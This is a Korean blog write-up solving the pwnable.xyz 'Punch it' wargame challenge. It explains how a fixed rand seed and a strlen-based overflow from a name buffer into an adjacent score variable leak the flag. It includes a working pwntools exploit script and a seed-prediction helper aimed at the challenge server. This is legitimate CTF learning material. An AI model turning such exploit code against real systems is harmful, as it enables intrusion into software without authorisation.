본문으로 바로가기

pwnable.xyz / Punch it

category Wargame/pwnable.xyz 2020. 4. 9. 05:57

main에서 먼저 motd_select_character 함수를 실행한다.

 

  printf("\n\tLet's play a punching game? [Y/n] : ");
  if ( getchar() == 'n' )
    exit(1);
  getchar();
  
  printf("Name: ");
  read(0, buf, 0x2CuLL);
  printf("Select your character: \n\t1. Goku\n\t2. Saitama\n\t3. Naruto\n\t4. Toriko\n> ");
  
  switch ( getchar() )
  {
    case 49:
      choose_goku();
      break;
    case 50:
      choose_saitama();
      break;
    case 51:
      choose_naruto();
      break;
    case 52:
      choose_toriko();
      break;
    default:
      puts("Invalid");
  }
  
  srand(game_t);
  printf("Loading");
  for ( i = 0; i <= 4; ++i )
  {
    putchar('.');
    sleep(1u);
  }
  putchar('\n');
  
  fd = open("./flag", 0);
  if ( fd == -1 )
  {
    puts("error");
    exit(1);
  }
  read(fdflag, 0x80uLL);
  close(fd);

 

이름을 최대 0x2C 길이로 입력받아서 buf에 담는다.

choose_* 함수는 game_t 값을 /dev/urandom에서 불러온 랜덤값으로 설정하는 함수다. 캐릭터 선택 후에는 srand로 시드값을 설정한다. 여기서 버그가 생기는데, 만약 1에서 4 외의 값을 입력하면 game_t 값이 초기화되지 않아 seed를 0으로 고정할 수 있다.

마지막으로 플래그를 읽어서 flag에 저장한다.

 

  do
  {
    while ( 1 )
    {
      while ( 1 )
      {
        printf("score: %ld\n"score);
        printf("gimmi pawa> ");
        n = 0;
        r = rand();
        _isoc99_scanf("%u", &n);
        getchar();
        
        if ( n != r )
          break;
        
        puts("draw");
        printf("Save? [N/y]");
        
        if ( getchar() == 'y' )
        {
          printf("Name: ");
          len = strlen(buf);
          read(0, buflen);
        }
      }
      
      if ( n <= r )
        break;
      
      ++score;
    }
  }
  while ( n >= r );
  
  printf("Sowwy, pleya %s luse, bay bay"buf);

 

매 턴마다 랜덤값 r을 만들고, 유저가 입력한 값 n이 r보다 크면 score를 1 올리며, r보다 작으면 반복문을 종료하고 buf를 출력한다.

만약 n과 r이 같다면 buf의 길이만큼 값을 buf에 새로 쓸 수 있다.

 

.bss:0000000000202044 ; char buf[44]
.bss:0000000000202044 buf             db 2Ch dup(?)           ; DATA XREF: motd_select_character+48↑o
.bss:0000000000202044                                         ; main+BD↑o ...
.bss:0000000000202070 score           dq ?                    ; DATA XREF: main:loc_ECE↑r
.bss:0000000000202070                                         ; main+EA↑r ...
.bss:0000000000202078 ; char flag[128]
.bss:0000000000202078 flag            db 80h dup(?)           ; DATA XREF: motd_select_character+146↑o

 

buf와 score, flag의 배치는 위와 같다. motd_select_character에서 buf를 입력받을 때 최대 입력 길이가 0x2C인 점을 주목해야 한다. 만약 44바이트가 꽉 차 있고, score가 1인 상태라면 buf가 가리키는 문자열은 AA...AA\x01로 strlen(buf); 값은 45가 된다. 마지막 바이트를 0xFF로 씀으로 점수를 255로 설정할 수 있다. 255로 설정한 뒤에는 2점을 늘려서 점수를 0x101로 만들 수 있고, 이 때 strlen(buf); 의 값은 46으로 score의 2바이트를 패치할 수 있게 된다.

 

글로 설명하면 알아보기가 힘드니 아래에 시나리오를 도식화 해봤다.

 

 

분홍색으로 칠해진 곳은 draw로 score 값을 바꿀 때 조작 가능한 범위를 나타낸다.

끝에 붙는 0xFF의 개수를 계산하는 게 핵심인데, 재귀적으로 계산해서 추정할 수도 있으나 난 귀찮아서 score 값을 tracing 하면서 NULL 바이트의 위치를 기준으로 payload를 구성하도록 했다.

 

score의 8바이트를 모두 0이 아닌 값으로 채우고 나면, 일부러 작은 값을 입력해서 반복문을 빠져나와서 buf를 출력시키면 된다.

 

rng.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>
#include <stdlib.h>

int main(int argcchar **argvchar **envp) {
    if (argc < 2) {
        printf("Usage: %s [seed]\n"argv[0]);
        exit(1);
    }

    srand(atoi(argv[1]));
    while (getchar()) { printf("%d\n"rand()); }

    return 0;
}

 

exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('-r''--remote'action='store_true'help='connect to remote server')
args = parser.parse_args()

if args.remote :
    p = connect('svc.pwnable.xyz'30024)
else :
    p = process('./challenge')

pr = process(['./rng''0'])


def log_info(string) :
    sys.stderr.write((u'\u001b[37;1m[\u001b[32m+\u001b[37;1m]\u001b[0m ' + string + '\n').encode())

def Submit(diff:int=0) :
    pr.write(b'\n')
    r = int(pr.read())
    p.writelineafter(b'> 'str(r+diff).encode())

def Save(name:bytes) :
    p.writeafter(b'[N/y]'b'y')
    p.writeafter(b': ', name)

def update_score(score:int) :
    log_info('score = '+hex(score))
    return score

def exploit() :
    p.writelineafter(b': 'b'y')
    p.writeafter(b': 'b'A'*0x2C)
    p.writeafter(b'> 'b'5')

    score = 0

    while True :
        i = 0

        Submit(1)
        score = update_score(score+1)

        while (score & (0xFF << i*8)) != 0 :
            i += 1

        Submit(0)
        Save(b'A'*0x2C + b'\xFF'*i)
        score = update_score(score | ((1 << i*8) - 1))

        if score == 0xFFFFFFFFFFFFFFFF :
            break

        Submit(1)
        score = update_score(score+1)

    p.writelineafter(b'> 'b'0')

    pr.close()
    p.interactive()


if __name__ == '__main__' :
    exploit()

 

시간 제한이 좀 아슬아슬한 것 같다.

 

 

 

Last update: 4/9/2020

'Wargame > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz / password  (0) 2020.04.10
pwnable.xyz / executioner  (0) 2020.04.09
pwnable.xyz / catalog  (0) 2020.04.08
pwnable.xyz / PvP  (0) 2020.04.08
pwnable.xyz / bookmark  (0) 2020.04.08